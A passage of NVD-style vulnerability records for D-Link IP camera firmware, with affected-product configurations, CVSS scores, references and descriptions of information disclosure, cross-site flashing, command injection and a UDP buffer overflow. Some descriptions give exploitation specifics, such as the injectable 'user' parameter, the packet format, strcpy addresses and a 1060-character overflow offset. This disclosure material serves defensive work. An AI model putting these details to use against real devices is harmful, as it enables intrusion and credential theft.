| dlink | dcs-7410 | - | |
| dlink | dcs-7510_firmware | 1.00 | |
| dlink | dcs-7510 | - | |
| dlink | wcs-1100_firmware | 1.00 | |
| dlink | wcs-1100 | - |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-3411_firmware:1.02:*:*:*:*:*:*:*",
"matchCriteriaId": "21E4F54E-78BD-4963-88C0-6B6F9D751C4B",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-3411:-:*:*:*:*:*:*:*",
"matchCriteriaId": "5A0A639C-EC97-4CF6-B853-B9CE3EEDF399",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-3430_firmware:1.02:*:*:*:*:*:*:*",
"matchCriteriaId": "3595919A-23A4-42D7-BC22-9AA3E5F196E2",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-3430:-:*:*:*:*:*:*:*",
"matchCriteriaId": "0337488F-E15D-497E-855F-7719D4809433",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-5605_firmware:1.01:*:*:*:*:*:*:*",
"matchCriteriaId": "0C400977-3E3C-4010-8EFE-75F30180FF22",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-5605:-:*:*:*:*:*:*:*",
"matchCriteriaId": "8B92CB5D-CD8E-4768-91CE-C3497C8EA58A",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-5635_firmware:1.01:*:*:*:*:*:*:*",
"matchCriteriaId": "76933BB0-E0C2-4F81-9B28-879EDAC49302",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-5635:-:*:*:*:*:*:*:*",
"matchCriteriaId": "CCFFD6C7-9379-4197-B447-1C755E6636AB",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1100l_firmware:1.04:*:*:*:*:*:*:*",
"matchCriteriaId": "E0FD5F42-72DD-47F4-ABDD-E0E4D0D1754A",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1100l:-:*:*:*:*:*:*:*",
"matchCriteriaId": "70D1E7AB-C4EA-4B97-B788-944244777CFF",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1130l_firmware:1.04:*:*:*:*:*:*:*",
"matchCriteriaId": "1B09CDBD-7DC9-4E4C-9FD6-3500C56D0B3E",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1130l:-:*:*:*:*:*:*:*",
"matchCriteriaId": "C6DF5842-F02E-4076-9B26-A3CC1EEBC94E",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1100_firmware:1.03:*:*:*:*:*:*:*",
"matchCriteriaId": "5A26476D-57A8-481C-80CB-80CC238F083A",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:dlink:dcs-1100_firmware:1.04:*:*:*:*:*:*:*",
"matchCriteriaId": "AD48A2EC-52EB-4C4B-B1ED-EC87822EDF5C",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1100:-:*:*:*:*:*:*:*",
"matchCriteriaId": "704F9608-72CE-49C0-B7D2-F2FE84DF0C74",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:1.03:*:*:*:*:*:*:*",
"matchCriteriaId": "E5A39F0C-8E3B-41AA-8E1D-E2DABB0A4CCC",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:1.04:*:*:*:*:*:*:*",
"matchCriteriaId": "EA9B1618-9862-470A-AA4D-02A779B314A1",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1130:-:*:*:*:*:*:*:*",
"matchCriteriaId": "33A388EC-275D-4180-83E2-AD73F7EEB54F",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-2102_firmware:1.05:*:*:*:*:*:*:*",
"matchCriteriaId": "28CE404D-2DFF-4203-8954-FA579EF5924B",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:dlink:dcs-2102_firmware:1.06:*:*:*:*:*:*:*",
"matchCriteriaId": "309BB5E5-5664-447B-B2C0-DCE54B0FDC2F",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-2102:-:*:*:*:*:*:*:*",
"matchCriteriaId": "78CD04CA-964A-4D74-B30E-7DC53E1858B6",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-2121_firmware:1.05:*:*:*:*:*:*:*",
"matchCriteriaId": "C3435DC0-44C2-440D-9C56-39EC06782BBC",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:dlink:dcs-2121_firmware:1.06:*:*:*:*:*:*:*",
"matchCriteriaId": "631443E3-859B-439D-879E-C342B514BF33",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-2121:-:*:*:*:*:*:*:*",
"matchCriteriaId": "FC1DE485-2705-4394-BC93-0BE99FE02F12",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-3410_firmware:1.02:*:*:*:*:*:*:*",
"matchCriteriaId": "1DC3F994-76E7-487C-A144-FC6C5AFDC5D9",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-3410:-:*:*:*:*:*:*:*",
"matchCriteriaId": "4558EBD8-5FB0-487B-88E6-17E76B2B68BC",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-5230_firmware:1.02:*:*:*:*:*:*:*",
"matchCriteriaId": "117E4B04-541F-4398-B644-959329FF45E5",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-5230:-:*:*:*:*:*:*:*",
"matchCriteriaId": "A17CC0BD-D224-4A30-A8CF-07E469F4BFA4",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-5230l_firmware:1.02:*:*:*:*:*:*:*",
"matchCriteriaId": "5265C1F6-0246-4AF4-B348-86D3F8C95C0D",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-5230l:-:*:*:*:*:*:*:*",
"matchCriteriaId": "94FFCE95-2A81-465F-B4EB-3B1BD687D87F",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-6410_firmware:1.00:*:*:*:*:*:*:*",
"matchCriteriaId": "2915F59C-512F-44B7-BB67-B699B622C055",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-6410:-:*:*:*:*:*:*:*",
"matchCriteriaId": "994CFC4C-7EC2-450A-9E05-940EE3CBA9D5",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-7410_firmware:1.00:*:*:*:*:*:*:*",
"matchCriteriaId": "4DDC8CC0-F1B5-4EA4-A822-50FA02476365",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-7410:-:*:*:*:*:*:*:*",
"matchCriteriaId": "7AC168D7-AFFD-44A9-8CB7-29E1EDF0849A",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-7510_firmware:1.00:*:*:*:*:*:*:*",
"matchCriteriaId": "4466E781-46D0-4A55-9136-3842E93C228A",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-7510:-:*:*:*:*:*:*:*",
"matchCriteriaId": "EF686286-DFA4-49CE-BF64-D6BA849FDCD4",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:wcs-1100_firmware:1.00:*:*:*:*:*:*:*",
"matchCriteriaId": "113F0277-63F1-4623-B668-88865ADFAD83",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:wcs-1100:-:*:*:*:*:*:*:*",
"matchCriteriaId": "D06ED3F1-B59E-447F-B4E6-D95FB834A6C1",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03, which could let a malicious user obtain sensitive information. which could let a malicious user obtain sensitive information."
},
{
"lang": "es",
"value": "Se presenta una vulnerabilidad de divulgaci\u00f3n de informaci\u00f3n debido a un fallo al restringir el acceso al script lums.cgi cuando se procesa una transmisi\u00f3n de video en vivo en D-LINK WCS-1100 versi\u00f3n 1.02, TESCO DCS-2121 versi\u00f3n 1.05_TESCO, TESCO DCS-2102 versi\u00f3n 1.05_TESCO, DCS-7510 versi\u00f3n 1.00, DCS-7410 versi\u00f3n 1.00, DCS-6410 versi\u00f3n 1.00, DCS-5635 versi\u00f3n 1.01, DCS-5605 versi\u00f3n 1.01, DCS-5230L versi\u00f3n 1.02, DCS-5230 versi\u00f3n 1.02, DCS-3430 versi\u00f3n 1.02, DCS-3411 versi\u00f3n 1.02, DCS-3410 versi\u00f3n 1.02, DCS-2121 versi\u00f3n 1.06_FR, DCS-2121 versi\u00f3n 1.06, DCS-2121 versi\u00f3n 1.05_RU, DCS-2102 versi\u00f3n 1.06_FR, DCS- 2102 versi\u00f3n 1.06, DCS-2102 versi\u00f3n 1.05_RU, DCS-1130L versi\u00f3n 1.04, DCS-1130 versi\u00f3n 1.04_US, DCS-1130 versi\u00f3n 1.03, DCS-1100L versi\u00f3n 1.04, DCS-1100 versi\u00f3n 1.04_US y DCS-1100 versi\u00f3n 1.03, que podr\u00edan permitir a un usuario malicioso obtener informaci\u00f3n confidencial."
}
],
"id": "CVE-2013-1601",
"lastModified": "2024-11-21T01:49:58.320",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
"exploitabilityScore": 10.0,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 1.4,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2020-01-28T21:15:11.327",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://www.securityfocus.com/bid/59570"
},
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83939"
},
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "https://packetstormsecurity.com/files/cve/CVE-2013-1601"
},
{
"source": "cve@mitre.org",
"tags": [
"Permissions Required"
],
"url": "https://vuldb.com/?id.8573"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://www.securityfocus.com/bid/59570"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83939"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "https://packetstormsecurity.com/files/cve/CVE-2013-1601"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Permissions Required"
],
"url": "https://vuldb.com/?id.8573"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-200"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
Published
2019-07-02 20:15
Modified
2024-11-21 03:33
Severity ?
Summary
An issue was discovered on D-Link DCS-1130 devices. The device provides a crossdomain.xml file with no restrictions on who can access the webserver. This allows an hosted flash file on any domain to make calls to the device's webserver and pull any information that is stored on the device. In this case, user's credentials are stored in clear text on the device and can be pulled easily. It also seems that the device does not implement any cross-site scripting forgery protection mechanism which allows an attacker to trick a user who is logged in to the web management interface into executing a cross-site flashing attack on the user's browser and execute any action on the device provided by the web management interface which steals the credentials from tools_admin.cgi file's response and displays it inside a Textfield.
References
| ▼ | URL | Tags | |
|---|---|---|---|
| cve@mitre.org | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| cve@mitre.org | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Exploit, Third Party Advisory | |
| cve@mitre.org | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| af854a3a-2127-422b-91ae-364da2661108 | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Exploit, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| dlink | dcs-1130_firmware | - | |
| dlink | dcs-1130 | - |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "0DB53465-4FE2-43EF-B2C6-839DFEA80D62",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1130:-:*:*:*:*:*:*:*",
"matchCriteriaId": "33A388EC-275D-4180-83E2-AD73F7EEB54F",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1130 devices. The device provides a crossdomain.xml file with no restrictions on who can access the webserver. This allows an hosted flash file on any domain to make calls to the device\u0027s webserver and pull any information that is stored on the device. In this case, user\u0027s credentials are stored in clear text on the device and can be pulled easily. It also seems that the device does not implement any cross-site scripting forgery protection mechanism which allows an attacker to trick a user who is logged in to the web management interface into executing a cross-site flashing attack on the user\u0027s browser and execute any action on the device provided by the web management interface which steals the credentials from tools_admin.cgi file\u0027s response and displays it inside a Textfield."
},
{
"lang": "es",
"value": "Se detect\u00f3 un problema en los dispositivos DCS-1130 de D-Link. El dispositivo provee un archivo crossdomain.xml sin restricciones sobre qui\u00e9n puede acceder al servidor web. Esto permite que un archivo flash alojado en cualquier dominio realice llamadas al servidor web del dispositivo y extraiga cualquier informaci\u00f3n almacenada en el mismo. En este caso, las credenciales del usuario son almacenadas en texto sin cifrar en el dispositivo y pueden ser extra\u00eddas f\u00e1cilmente. Tambi\u00e9n parece que el dispositivo no implementa ning\u00fan mecanismo de protecci\u00f3n contra un problema de tipo cross-site scripting forgery, que permite a un atacante enga\u00f1ar a un usuario que ha iniciado sesi\u00f3n en la interfaz de administraci\u00f3n web para ejecutar un ataque de tipo cross-site flashing en el navegador del usuario y ejecutar cualquier acci\u00f3n sobre el dispositivo provisto mediante la interfaz de administraci\u00f3n web que roba las credenciales de la respuesta del archivo tools_admin.cgi y las muestra dentro de un campo de texto."
}
],
"id": "CVE-2017-8406",
"lastModified": "2024-11-21T03:33:58.360",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2019-07-02T20:15:10.967",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-352"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
Published
2019-07-02 16:15
Modified
2024-11-21 03:33
Severity ?
Summary
An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of setting a SMB folder for the video clippings recorded by the device. It seems that the GET parameters passed in this request (to test if SMB credentials and hostname sent to the device work properly) result in being passed as commands to a "system" API in the function and thus result in command injection on the device. If the firmware version is dissected using binwalk tool, we obtain a cramfs-root archive which contains the filesystem set up on the device that contains all the binaries. The binary "cgibox" is the one that has the vulnerable function "sub_7EAFC" that receives the values sent by the GET request. If we open this binary in IDA-pro we will notice that this follows a ARM little endian format. The function sub_7EAFC in IDA pro is identified to be receiving the values sent in the GET request and the value set in GET parameter "user" is extracted in function sub_7E49C which is then passed to the vulnerable system API call.
References
| ▼ | URL | Tags | |
|---|---|---|---|
| cve@mitre.org | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Exploit, Third Party Advisory | |
| cve@mitre.org | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Exploit, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| dlink | dcs-1130_firmware | - | |
| dlink | dcs-1130 | - |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "0DB53465-4FE2-43EF-B2C6-839DFEA80D62",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1130:-:*:*:*:*:*:*:*",
"matchCriteriaId": "33A388EC-275D-4180-83E2-AD73F7EEB54F",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of setting a SMB folder for the video clippings recorded by the device. It seems that the GET parameters passed in this request (to test if SMB credentials and hostname sent to the device work properly) result in being passed as commands to a \"system\" API in the function and thus result in command injection on the device. If the firmware version is dissected using binwalk tool, we obtain a cramfs-root archive which contains the filesystem set up on the device that contains all the binaries. The binary \"cgibox\" is the one that has the vulnerable function \"sub_7EAFC\" that receives the values sent by the GET request. If we open this binary in IDA-pro we will notice that this follows a ARM little endian format. The function sub_7EAFC in IDA pro is identified to be receiving the values sent in the GET request and the value set in GET parameter \"user\" is extracted in function sub_7E49C which is then passed to the vulnerable system API call."
},
{
"lang": "es",
"value": "Se descubri\u00f3 un problema en los dispositivos D-Link DCS-1130. El dispositivo proporciona al usuario la capacidad de configurar una carpeta SMB para los recortes de video grabados por el dispositivo. Parece que los par\u00e1metros GET pasados ??en esta solicitud (para probar si las credenciales SMB y el nombre de host enviados al dispositivo funcionan correctamente) dan como resultado que se pasen como comandos a una API de \"sistema\" en la funci\u00f3n y, por lo tanto, resulten en una inyecci\u00f3n de comandos en el dispositivo. Si la versi\u00f3n del firmware se disecciona con la herramienta binwalk, obtenemos un archivo cramfs-root que contiene el sistema de archivos configurado en el dispositivo que contiene todos los archivos binarios. El binario \"cgibox\" es el que tiene la funci\u00f3n vulnerable \"sub_7EAFC\" que recibe los valores enviados por la solicitud GET. Si abrimos este binario en IDA-pro, notaremos que esto sigue un formato ARM en little endian. La funci\u00f3n sub_7EAFC en IDA pro est\u00e1 identificada para recibir los valores enviados en la solicitud GET y el valor establecido en el par\u00e1metro GET \"usuario\" se extrae en la funci\u00f3n sub_7E49C que luego se pasa a la llamada API del sistema vulnerable."
}
],
"id": "CVE-2017-8408",
"lastModified": "2024-11-21T03:33:58.673",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"integrityImpact": "COMPLETE",
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
"exploitabilityScore": 10.0,
"impactScore": 10.0,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2019-07-02T16:15:11.643",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-77"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
Published
2019-07-02 21:15
Modified
2024-11-21 03:33
Severity ?
Summary
An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device runs a custom daemon on UDP port 5978 which is called "dldps2121" and listens for broadcast packets sent on 255.255.255.255. This daemon handles custom D-Link UDP based protocol that allows D-Link mobile applications and desktop applications to discover D-Link devices on the local network. The binary processes the received UDP packets sent from any device in "main" function. One path in the function traverses towards a block of code that processing of packets which does an unbounded copy operation which allows to overflow the buffer. The custom protocol created by Dlink follows the following pattern: Packetlen, Type of packet; M=MAC address of device or broadcast; D=Device Type;C=base64 encoded command string;test=1111 We can see at address function starting at address 0x0000DBF8 handles the entire UDP packet and performs an insecure copy using strcpy function at address 0x0000DC88. This results in overflowing the stack pointer after 1060 characters and thus allows to control the PC register and results in code execution. The same form of communication can be initiated by any process including an attacker process on the mobile phone or the desktop and this allows a third-party application on the device to execute commands on the device without any authentication by sending just 1 UDP packet with custom base64 encoding.
References
